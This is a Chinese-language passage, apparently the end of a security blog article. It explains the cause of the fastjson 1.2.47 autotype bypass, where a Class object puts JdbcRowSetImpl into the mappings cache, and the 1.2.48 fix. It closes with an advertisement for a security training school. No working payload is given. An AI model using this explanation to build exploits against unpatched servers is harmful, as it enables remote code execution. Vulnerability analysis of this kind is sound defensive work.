之后最致命的操作就是:
mappings.put(className, clazz);
将com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:
他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。
开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。
而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false:
if (cache) {
mappings.put(className, clazz);
}
此时就不会将class类装载进缓存中了。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

